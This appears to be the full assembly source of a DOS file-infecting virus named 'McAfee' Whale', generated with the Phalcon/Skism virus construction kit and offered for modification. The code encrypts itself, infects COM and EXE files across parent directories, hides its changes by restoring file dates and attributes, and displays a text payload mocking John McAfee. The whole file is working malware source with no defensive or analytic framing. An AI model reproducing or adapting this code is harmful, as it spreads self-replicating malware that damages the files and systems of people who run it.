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Assembly Source File | 1998-01-14 | 17.3 KB | 508 lines

; McWhale.asm : [McAfee' Whale] by [pAgE] ; Created wik the Phalcon/Skism Mass-Produced Code Generator ; from the configuration file skeleton.cfg ; ; Here's another "lame dick" virus! I thought it was rather fitting! ; Many thanks to the fellows at Phalcon/Skism for this little tool. ; I am sure that Dark Angel and the bunch are not stopping here, but ; will come up with another innovation in Vx production... ; ; I have set this file to activate at a 40% chance on any day. Feel free ; to modify this program as you see fit or keep it as a novelty in its ; original form. .model tiny ; Handy directive .code ; Virus code segment org 100h ; COM file starting IP id = 'MO' ; ID word for EXE infections entry_point: db 0e9h,0,0 ; jmp decrypt decrypt: ; handles encryption and decryption mov bx,(offset heap - offset startencrypt)/2 ; iterations patch_startencrypt: mov si,offset startencrypt ; start of decryption decrypt_loop: db 2eh,81h,04h ; add word ptr cs:[si], xxxx decrypt_value dw 0 ; initialised at zero for null effect inc si ; calculate new decryption location inc si dec bx ; If we are not done, then jnz decrypt_loop ; decrypt mo' startencrypt: call next ; calculate delta offset next: pop bp ; bp = IP next sub bp,offset next ; bp = delta offset cmp sp,id ; COM or EXE? je restoreEXE restoreCOM: lea si,[bp+save3] mov di,100h push di ; For later return movsb jmp short restoreEXIT restoreEXE: push ds push es push cs ; DS = CS pop ds push cs ; ES = CS pop es lea si,[bp+jmpsave2] lea di,[bp+jmpsave] movsw movsw movsw restoreEXIT: movsw mov byte ptr [bp+numinfec],2 ; reset infection counter mov ah,1Ah ; Set new DTA lea dx,[bp+newDTA] ; new DTA @ DS:DX int 21h mov ah,47h ; Get current directory mov dl,0 ; Current drive lea si,[bp+origdir] ; DS:SI->buffer int 21h mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR mov ax,3524h ; Get int 24 handler int 21h ; to ES:BX mov word ptr [bp+oldint24],bx; Save it mov word ptr [bp+oldint24+2],es mov ah,25h ; Set new int 24 handler lea dx,[bp+offset int24] ; DS:DX->new handler int 21h push cs ; Restore ES pop es ; 'cuz it was changed dir_scan: ; "dot dot" traversal lea dx,[bp+exe_mask] call infect_mask lea dx,[bp+com_mask] call infect_mask mov ah,3bh ; change directory lea dx,[bp+dot_dot] ; "cd .." int 21h jnc dir_scan ; go back for mo! done_infections: mov ah,2ah ; Get current date int 21h ; ;cmp dh,4 ; Check month ;jb exit_virus ; ;cmp dl,15 ; Check date ;jnz exit_virus ; ;mov ah,2ch ; Get current time ;int 21h cmp dl,40 ; Check the percentage jbe activate exit_virus: mov ax,2524h ; Restore int 24 handler lds dx,[bp+offset oldint24] ; to original int 21h push cs pop ds mov ah,3bh ; change directory lea dx,[bp+origdir-1] ; original directory int 21h mov ah,1ah ; restore DTA to default mov dx,80h ; DTA in PSP cmp sp,id-4 ; EXE or COM? jz returnEXE returnCOM: int 21h retn ; 100h is on stack returnEXE: pop es pop ds int 21h mov ax,es ; AX = PSP segment add ax,10h ; Adjust for PSP add word ptr cs:[bp+jmpsave+2],ax add ax,word ptr cs:[bp+stacksave+2] cli ; Clear intrpts for stack manipulation mov sp,word ptr cs:[bp+stacksave] mov ss,ax sti db 0eah ; jmp ssss:oooo jmpsave dd ? ; Original CS:IP stacksave dd ? ; Original SS:SP jmpsave2 db ? ; Actually four bytes save3 db 0cdh,20h,0 ; First 3 bytes of COM file stacksave2 dd ? activate proc far start: jmp loc_1 data_1 db 0 data_2 dw 0 db 62h, 79h db ' ABRAXAS - ' copyright db '(c) 1992 Abraxas Warez.' db '.....................................BEWARE!!!............' db '....................' data_5 db 'Anti-Virus.....Man.....John.....McAfee.....wrote' db '.....the.....WHALE.....virus!!!' db '..............................HONEST!!!....................................$' loc_1: push si push di mov si,80h cld ; Clear direction call sub_1 cmp byte ptr [si],0Dh je loc_4 ; Jump if equal mov cx,28h lea di,data_5 ; ('Attention: Please press ') Load ef locloop_2: lodsb ; String [si] to al cmp al,0Dh je loc_3 ; Jump if equal stosb ; Store al to es:[di] loop locloop_2 ; Loop if cx > 0 loc_3: inc cx mov al,2Eh ; '.' rep stosb ; Rep when cx >0 Store al to es:[di] loc_4: pop di pop si mov ah,3 mov bh,0 int 10h ; Video display ah=functn 03h ; get cursor loc in dx, mode cx mov data_2,cx mov ah,1 mov cx,0F00h int 10h ; Video display ah=functn 01h ; set cursor mode in cx mov ah,2 mov dh,18h mov dl,13h int 10h ; Video display ah=functn 02h ; set cursor location in dx loc_5: mov data_1,0FFh loc_6: add data_1,1 mov bl,data_1 mov bh,0 mov cx,27h call sub_2 locloop_7: mov al,byte ptr copyright+20h[bx] ; ('.') mov ah,0Eh int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode inc bx call sub_3 mov dl,0FFh mov ah,6 int 21h ; DOS Services ah=function 06h ; special char i/o, dl=subfunc jnz loc_10 ; Jump if not zero loop locloop_7 ; Loop if cx > 0 cmp byte ptr copyright+20h[bx],24h ; ('.') '$' je loc_5 ; Jump if equal jmp short loc_6 activate endp sub_1 proc near loc_8: inc si cmp byte ptr [si],20h ; ' ' je loc_8 ; Jump if equal retn sub_1 endp sub_2 proc near push ax push bx push cx push dx mov dx,si mov cx,di mov al,4 mov ah,0ch int 10h mov ah,2 mov dh,8h mov dl,14h mov cx,30 int 10h ; Video display ah=functn 02h mov ah,10h mov al,0 mov bl,4 mov bh,63 int 10h pop dx pop cx pop bx pop ax retn sub_2 endp sub_3 proc near push cx mov cx,258h locloop_9: loop locloop_9 ; Loop if cx > 0 pop cx retn sub_3 endp loc_10: call sub_2 mov cx,4Fh locloop_11: mov al,20h ; ' ' mov ah,0Eh int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode loop locloop_11 ; Loop if cx > 0 mov ah,1 mov cx,data_2 int 10h ; Video display ah=functn 01h int 20h ; DOS program terminate jmp exit_virus creator db '[MPC]',0 ; BIG SIGN!!! virusname db "[McAfee' Whale]",0 ; That's it!! author db '[pAgE]',0 ; Nah! Not me!<g> infect_mask: mov ah,4eh ; find first file mov cx,7 ; any attribute findfirstnext: int 21h ; DS:DX points to mask jc exit_infect_mask ; No mo files found mov al,0h ; Open read only call open mov ah,3fh ; Read file to buffer lea dx,[bp+buffer] ; @ DS:DX mov cx,1Ah ; 1Ah bytes int 21h mov ah,3eh ; Close file int 21h cmp word ptr [bp+buffer],'ZM'; EXE? jz checkEXE ; Why yes, yes it is! checkCOM: mov ax,word ptr [bp+newDTA+35] ; Get tail of filename cmp ax,'DN' ; Ends in ND? (commaND) jz find_next mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA mov bx,word ptr [bp+buffer+1]; get jmp location add bx,heap-decrypt+3 ; Adjust for virus size cmp ax,bx je find_next ; already infected jmp infect_com checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? jnz infect_exe find_next: mov ah,4fh ; find next file jmp short findfirstnext exit_infect_mask: ret infect_exe: les ax, dword ptr [bp+buffer+14h] ; Save old entry point mov word ptr [bp+jmpsave2], ax mov word ptr [bp+jmpsave2+2], es les ax, dword ptr [bp+buffer+0Eh] ; Save old stack mov word ptr [bp+stacksave2], es mov word ptr [bp+stacksave2+2], ax mov ax, word ptr [bp+buffer + 8] ; Get header size mov cl, 4 ; convert to bytes shl ax, cl xchg ax, bx les ax, [bp+offset newDTA+26]; Get file size mov dx, es ; to DX:AX push ax push dx sub ax, bx ; Subtract header size from sbb dx, 0 ; file size mov cx, 10h ; Convert to segment:offset div cx ; form mov word ptr [bp+buffer+14h], dx ; New entry point mov word ptr [bp+buffer+16h], ax mov word ptr [bp+buffer+0Eh], ax ; and stack mov word ptr [bp+buffer+10h], id pop dx ; get file length pop ax add ax, heap-decrypt ; add virus size adc dx, 0 mov cl, 9 push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 1 ; mod 512 mov word ptr [bp+buffer+4], dx ; new file size mov word ptr [bp+buffer+2], ax push cs ; restore ES pop es push word ptr [bp+buffer+14h] ; needed later mov cx, 1ah jmp short finishinfection infect_com: ; ax = filesize mov cx,3 sub ax,cx lea si,[bp+offset buffer] lea di,[bp+offset save3] movsw movsb mov byte ptr [si-3],0e9h mov word ptr [si-2],ax add ax,103h push ax ; needed later finishinfection: push cx ; Save # bytes to write xor cx,cx ; Clear attributes call attributes ; Set file attributes mov al,2 call open mov ah,40h ; Write to file lea dx,[bp+buffer] ; Write from buffer pop cx ; cx bytes int 21h mov ax,4202h ; Move file pointer xor cx,cx ; to end of file cwd ; xor dx,dx int 21h mov ah,2ch ; Get current time int 21h ; dh=sec,dl=1/100 sec mov [bp+decrypt_value],dx ; Set new encryption value lea di,[bp+code_store] mov ax,5355h ; push bp,push bx stosw lea si,[bp+decrypt] ; Copy encryption function mov cx,startencrypt-decrypt ; Bytes to move push si ; Save for later use push cx rep movsb xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub lea si,[bp+write] ; Copy writing function mov cx,endwrite-write ; Bytes to move rep movsb pop cx pop si pop dx ; Entry point of virus push di push si push cx rep movsb ; Copy decryption function mov ax,5b5dh ; pop bx,pop bp stosw mov al,0c3h ; retn stosb add dx,offset startencrypt - offset decrypt ; Calculate new mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of call code_store ; decryption pop cx pop di pop si rep movsb ; Restore decryption function mov ax,5701h ; Restore creation date/time mov cx,word ptr [bp+newDTA+16h] ; time mov dx,word ptr [bp+newDTA+18h] ; date int 21h mov ah,3eh ; Close file int 21h mov ch,0 mov cl,byte ptr [bp+newDTA+15h] ; Restore original call attributes ; attributes dec byte ptr [bp+numinfec] ; One mo infection jnz mo_infections ; Not enough pop ax ; remove call from stack jmp done_infections mo_infections: jmp find_next open: mov ah,3dh lea dx,[bp+newDTA+30] ; filename in DTA int 21h xchg ax,bx ret attributes: mov ax,4301h ; Set attributes to cx lea dx,[bp+newDTA+30] ; filename in DTA int 21h ret write: pop bx ; Restore file handle pop bp ; Restore relativeness mov ah,40h ; Write to file lea dx,[bp+decrypt] ; Concatenate virus mov cx,heap-decrypt ; # bytes to write int 21h push bx push bp endwrite: int24: ; New int 24h (error) handler mov al,3 ; Fail call iret ; Return control exe_mask db '*.exe',0 com_mask db '*.com',0 dot_dot db '..',0 heap: ; Variables not in code ; The following code is the buffer for the write function code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) oldint24 dd ? ; Storage for old int 24h handler backslash db ? origdir db 64 dup (?) ; Current directory buffer newDTA db 43 dup (?) ; Temporary DTA numinfec db ? ; Infections this run buffer db 1ah dup (?) ; read buffer endheap: ; End of virus end entry_point